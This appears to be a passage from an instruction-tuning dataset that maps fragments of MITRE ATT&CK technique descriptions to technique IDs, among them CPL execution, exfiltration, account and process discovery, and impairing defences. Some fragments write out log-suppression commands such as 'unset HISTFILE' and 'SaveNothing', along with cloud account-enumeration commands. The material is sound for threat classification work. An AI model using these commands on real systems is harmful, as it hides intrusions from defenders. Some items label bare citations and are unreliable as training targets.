that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013) ### Response: T1196."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel.", "output": "T1196", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel. ### Response: T1196."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft Implementing CPL)", "output": "T1196", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft Implementing CPL) ### Response: T1196."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use Control Panel items as execution payloads to execute arbitrary commands.", "output": "T1196", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use Control Panel items as execution payloads to execute arbitrary commands. ### Response: T1196."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malicious Control Panel items can be delivered via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) campaigns (Citation: TrendMicro CPL Malware Jan 2014)", "output": "T1196", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malicious Control Panel items can be delivered via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) campaigns (Citation: TrendMicro CPL Malware Jan 2014) ### Response: T1196."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware.", "output": "T1196", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware. ### Response: T1196."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Palo Alto Reaver Nov 2017)", "output": "T1196", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Palo Alto Reaver Nov 2017) ### Response: T1196."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Control Panel items, specifically CPL files, may also bypass application and/or file extension whitelisting.", "output": "T1196", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Control Panel items, specifically CPL files, may also bypass application and/or file extension whitelisting. ### Response: T1196."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel.", "output": "T1048", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. ### Response: T1048."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The data may also be sent to an alternate network location from the main command and control server.", "output": "T1048", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The data may also be sent to an alternate network location from the main command and control server. ### Response: T1048."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Alternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel.", "output": "T1048", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Alternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. ### Response: T1048."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also opt to encrypt and/or obfuscate these alternate channels.", "output": "T1048", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also opt to encrypt and/or obfuscate these alternate channels. ### Response: T1048."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048) can be done using various common operating system utilities such as [Net](https://attack.mitre.org/software/S0039)/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016)", "output": "T1048", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048) can be done using various common operating system utilities such as [Net](https://attack.mitre.org/software/S0039)/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016) ### Response: T1048."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On macOS and Linux <code>curl</code> may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system.(Citation: 20 macOS Common Tools and Techniques)\n\nMany IaaS and SaaS platforms (such as Microsoft Exchange, Microsoft SharePoint, GitHub, and AWS S3) support the direct download of files, emails, source code, and other sensitive information via the web console or [Cloud API](https://attack.mitre.org/techniques/T1059/009).", "output": "T1048", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On macOS and Linux <code>curl</code> may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system.(Citation: 20 macOS Common Tools and Techniques)\n\nMany IaaS and SaaS platforms (such as Microsoft Exchange, Microsoft SharePoint, GitHub, and AWS S3) support the direct download of files, emails, source code, and other sensitive information via the web console or [Cloud API](https://attack.mitre.org/techniques/T1059/009). ### Response: T1048."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may steal data by exfiltrating it over an asymmetrically encrypted network protocol other than that of the existing command and control channel.", "output": "T1048.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may steal data by exfiltrating it over an asymmetrically encrypted network protocol other than that of the existing command and control channel. ### Response: T1048.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The data may also be sent to an alternate network location from the main command and control server.", "output": "T1048.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The data may also be sent to an alternate network location from the main command and control server. ### Response: T1048.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Asymmetric encryption algorithms are those that use different keys on each end of the channel.", "output": "T1048.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Asymmetric encryption algorithms are those that use different keys on each end of the channel. ### Response: T1048.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Also known as public-key cryptography, this requires pairs of cryptographic keys that can encrypt/decrypt data from the corresponding key.", "output": "T1048.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Also known as public-key cryptography, this requires pairs of cryptographic keys that can encrypt/decrypt data from the corresponding key. ### Response: T1048.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Each end of the communication channels requires a private key (only in the procession of that entity) and the public key of the other entity.", "output": "T1048.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Each end of the communication channels requires a private key (only in the procession of that entity) and the public key of the other entity. ### Response: T1048.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The public keys of each entity are exchanged before encrypted communications begin.", "output": "T1048.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The public keys of each entity are exchanged before encrypted communications begin. ### Response: T1048.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Network protocols that use asymmetric encryption (such as HTTPS/TLS/SSL) often utilize symmetric encryption once keys are exchanged.", "output": "T1048.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Network protocols that use asymmetric encryption (such as HTTPS/TLS/SSL) often utilize symmetric encryption once keys are exchanged. ### Response: T1048.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may opt to use these encrypted mechanisms that are baked into a protocol.", "output": "T1048.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may opt to use these encrypted mechanisms that are baked into a protocol. ### Response: T1048.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment.", "output": "T1087", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. ### Response: T1087."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., [Valid Accounts](https://attack.mitre.org/techniques/T1078)).", "output": "T1087", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., [Valid Accounts](https://attack.mitre.org/techniques/T1078)). ### Response: T1087."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use several methods to enumerate accounts, including abuse of existing tools, built-in commands, and potential misconfigurations that leak account names and roles or permissions in the targeted environment.", "output": "T1087", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use several methods to enumerate accounts, including abuse of existing tools, built-in commands, and potential misconfigurations that leak account names and roles or permissions in the targeted environment. ### Response: T1087."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For examples, cloud environments typically provide easily accessible interfaces to obtain user lists.", "output": "T1087", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For examples, cloud environments typically provide easily accessible interfaces to obtain user lists. ### Response: T1087."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On hosts, adversaries can use default [PowerShell](https://attack.mitre.org/techniques/T1059/001) and other command line functionality to identify accounts.", "output": "T1087", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On hosts, adversaries can use default [PowerShell](https://attack.mitre.org/techniques/T1059/001) and other command line functionality to identify accounts. ### Response: T1087."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about email addresses and accounts may also be extracted by searching an infected system\u2019s files.", "output": "T1087", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about email addresses and accounts may also be extracted by searching an infected system\u2019s files. ### Response: T1087."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to get a listing of cloud accounts.", "output": "T1087.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to get a listing of cloud accounts. ### Response: T1087.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application.", "output": "T1087.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. ### Response: T1087.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "With authenticated access there are several tools that can be used to find accounts.", "output": "T1087.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: With authenticated access there are several tools that can be used to find accounts. ### Response: T1087.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The <code>Get-MsolRoleMember</code> PowerShell cmdlet can be used to obtain account names given a role or permissions group in Office 365.(Citation:", "output": "T1087.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The <code>Get-MsolRoleMember</code> PowerShell cmdlet can be used to obtain account names given a role or permissions group in Office 365.(Citation: ### Response: T1087.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft msolrolemember)(Citation: GitHub Raindance)", "output": "T1087.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft msolrolemember)(Citation: GitHub Raindance) ### Response: T1087.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Azure CLI (AZ CLI) also provides an interface to obtain user accounts with authenticated access to a domain.", "output": "T1087.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Azure CLI (AZ CLI) also provides an interface to obtain user accounts with authenticated access to a domain. ### Response: T1087.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The command <code>az ad user list</code> will list all users within a domain.(Citation: Microsoft AZ CLI)(Citation:", "output": "T1087.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The command <code>az ad user list</code> will list all users within a domain.(Citation: Microsoft AZ CLI)(Citation: ### Response: T1087.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Black Hills Red Teaming MS AD Azure, 2018)", "output": "T1087.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Black Hills Red Teaming MS AD Azure, 2018) ### Response: T1087.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The AWS command <code>aws iam list-users</code> may be used to obtain a list of users in the current account while <code>aws iam list-roles</code> can obtain IAM roles that have a specified path prefix.(Citation: AWS List Roles)(Citation: AWS List Users) In GCP, <code>gcloud iam service-accounts list</code> and <code>gcloud projects get-iam-policy</code> may be used to obtain a listing of service accounts and users in a project.(Citation: Google Cloud - IAM Servie Accounts List API)", "output": "T1087.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The AWS command <code>aws iam list-users</code> may be used to obtain a list of users in the current account while <code>aws iam list-roles</code> can obtain IAM roles that have a specified path prefix.(Citation: AWS List Roles)(Citation: AWS List Users) In GCP, <code>gcloud iam service-accounts list</code> and <code>gcloud projects get-iam-policy</code> may be used to obtain a listing of service accounts and users in a project.(Citation: Google Cloud - IAM Servie Accounts List API) ### Response: T1087.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to get information about running processes on a system.", "output": "T1057", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to get information about running processes on a system. ### Response: T1057."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information obtained could be used to gain an understanding of common software/applications running on systems within the network.", "output": "T1057", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information obtained could be used to gain an understanding of common software/applications running on systems within the network. ### Response: T1057."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1057) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.", "output": "T1057", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1057) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. ### Response: T1057."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In Windows environments, adversaries could obtain details on running processes using the [Tasklist](https://attack.mitre.org/software/S0057) utility via [cmd](https://attack.mitre.org/software/S0106) or <code>Get-Process</code> via [PowerShell](https://attack.mitre.org/techniques/T1059/001).", "output": "T1057", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In Windows environments, adversaries could obtain details on running processes using the [Tasklist](https://attack.mitre.org/software/S0057) utility via [cmd](https://attack.mitre.org/software/S0106) or <code>Get-Process</code> via [PowerShell](https://attack.mitre.org/techniques/T1059/001). ### Response: T1057."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about processes can also be extracted from the output of [Native API](https://attack.mitre.org/techniques/T1106) calls such as <code>CreateToolhelp32Snapshot</code>.", "output": "T1057", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about processes can also be extracted from the output of [Native API](https://attack.mitre.org/techniques/T1106) calls such as <code>CreateToolhelp32Snapshot</code>. ### Response: T1057."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In Mac and Linux, this is accomplished with the <code>ps</code> command.", "output": "T1057", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In Mac and Linux, this is accomplished with the <code>ps</code> command. ### Response: T1057."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also opt to enumerate processes via /proc.", "output": "T1057", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also opt to enumerate processes via /proc. ### Response: T1057."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On network devices, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `show processes` can be used to display current running processes.(Citation: US-CERT-TA18-106A)(Citation: show_processes_cisco_cmd)", "output": "T1057", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On network devices, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `show processes` can be used to display current running processes.(Citation: US-CERT-TA18-106A)(Citation: show_processes_cisco_cmd) ### Response: T1057."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may also span both native defenses as well as supplemental capabilities installed by users and administrators.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may also span both native defenses as well as supplemental capabilities installed by users and administrators. ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also impair routine operations that contribute to defensive hygiene, such as blocking users from logging out of a computer or stopping it from being shut down.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also impair routine operations that contribute to defensive hygiene, such as blocking users from logging out of a computer or stopping it from being shut down. ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These restrictions can further enable malicious operations as well as the continued propagation of incidents.(Citation: Emotet shutdown)", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These restrictions can further enable malicious operations as well as the continued propagation of incidents.(Citation: Emotet shutdown) ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components. ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may impair command history logging to hide commands they run on a compromised system.", "output": "T1562.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may impair command history logging to hide commands they run on a compromised system. ### Response: T1562.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.", "output": "T1562.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done. ### Response: T1562.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On Linux and macOS, command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>.", "output": "T1562.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On Linux and macOS, command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>. ### Response: T1562.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When a user logs off a system, this information is flushed to a file in the user's home directory called <code>~/.bash_history</code>.", "output": "T1562.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When a user logs off a system, this information is flushed to a file in the user's home directory called <code>~/.bash_history</code>. ### Response: T1562.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The <code>HISTCONTROL</code> environment variable keeps track of what should be saved by the <code>history</code> command and eventually into the <code>~/.bash_history</code> file when a user logs out.", "output": "T1562.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The <code>HISTCONTROL</code> environment variable keeps track of what should be saved by the <code>history</code> command and eventually into the <code>~/.bash_history</code> file when a user logs out. ### Response: T1562.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "<code>HISTCONTROL</code> does not exist by default on macOS, but can be set by the user and will be respected.", "output": "T1562.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: <code>HISTCONTROL</code> does not exist by default on macOS, but can be set by the user and will be respected. ### Response: T1562.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may clear the history environment variable (<code>unset HISTFILE</code>) or set the command history size to zero (<code>export HISTFILESIZE=0</code>) to prevent logging of commands.", "output": "T1562.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may clear the history environment variable (<code>unset HISTFILE</code>) or set the command history size to zero (<code>export HISTFILESIZE=0</code>) to prevent logging of commands. ### Response: T1562.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, <code>HISTCONTROL</code> can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\".", "output": "T1562.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, <code>HISTCONTROL</code> can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". ### Response: T1562.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "<code>HISTCONTROL</code> can also be set to ignore duplicate commands by setting it to \"ignoredups\".", "output": "T1562.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: <code>HISTCONTROL</code> can also be set to ignore duplicate commands by setting it to \"ignoredups\". ### Response: T1562.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples.", "output": "T1562.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. ### Response: T1562.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This means that \u201c ls\u201d will not be saved, but \u201cls\u201d would be saved by history.", "output": "T1562.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This means that \u201c ls\u201d will not be saved, but \u201cls\u201d would be saved by history. ### Response: T1562.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can abuse this to operate without leaving traces by simply prepending a space to all of their terminal commands.", "output": "T1562.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can abuse this to operate without leaving traces by simply prepending a space to all of their terminal commands. ### Response: T1562.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On Windows systems, the <code>PSReadLine</code> module tracks commands used in all PowerShell sessions and writes them to a file (<code>$env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt</code> by default).", "output": "T1562.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On Windows systems, the <code>PSReadLine</code> module tracks commands used in all PowerShell sessions and writes them to a file (<code>$env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt</code> by default). ### Response: T1562.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may change where these logs are saved using <code>Set-PSReadLineOption -HistorySavePath {File Path}</code>.", "output": "T1562.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may change where these logs are saved using <code>Set-PSReadLineOption -HistorySavePath {File Path}</code>. ### Response: T1562.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This will cause <code>ConsoleHost_history.txt</code> to stop receiving logs.", "output": "T1562.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This will cause <code>ConsoleHost_history.txt</code> to stop receiving logs. ### Response: T1562.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, it is possible to turn off logging to this file using the PowerShell command <code>Set-PSReadlineOption -HistorySaveStyle", "output": "T1562.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, it is possible to turn off logging to this file using the PowerShell command <code>Set-PSReadlineOption -HistorySaveStyle ### Response: T1562.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SaveNothing</code>.(Citation: Microsoft PowerShell Command History)(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)", "output": "T1562.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SaveNothing</code>.(Citation: Microsoft PowerShell Command History)(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics) ### Response: T1562.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to disable historical command logging (e.g. <code>no logging</code>).", "output": "T1562.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to disable historical command logging (e.g. <code>no logging</code>). ### Response: T1562.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code.", "output": "T1053", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. ### Response: T1053."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time.", "output": "T1053", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write 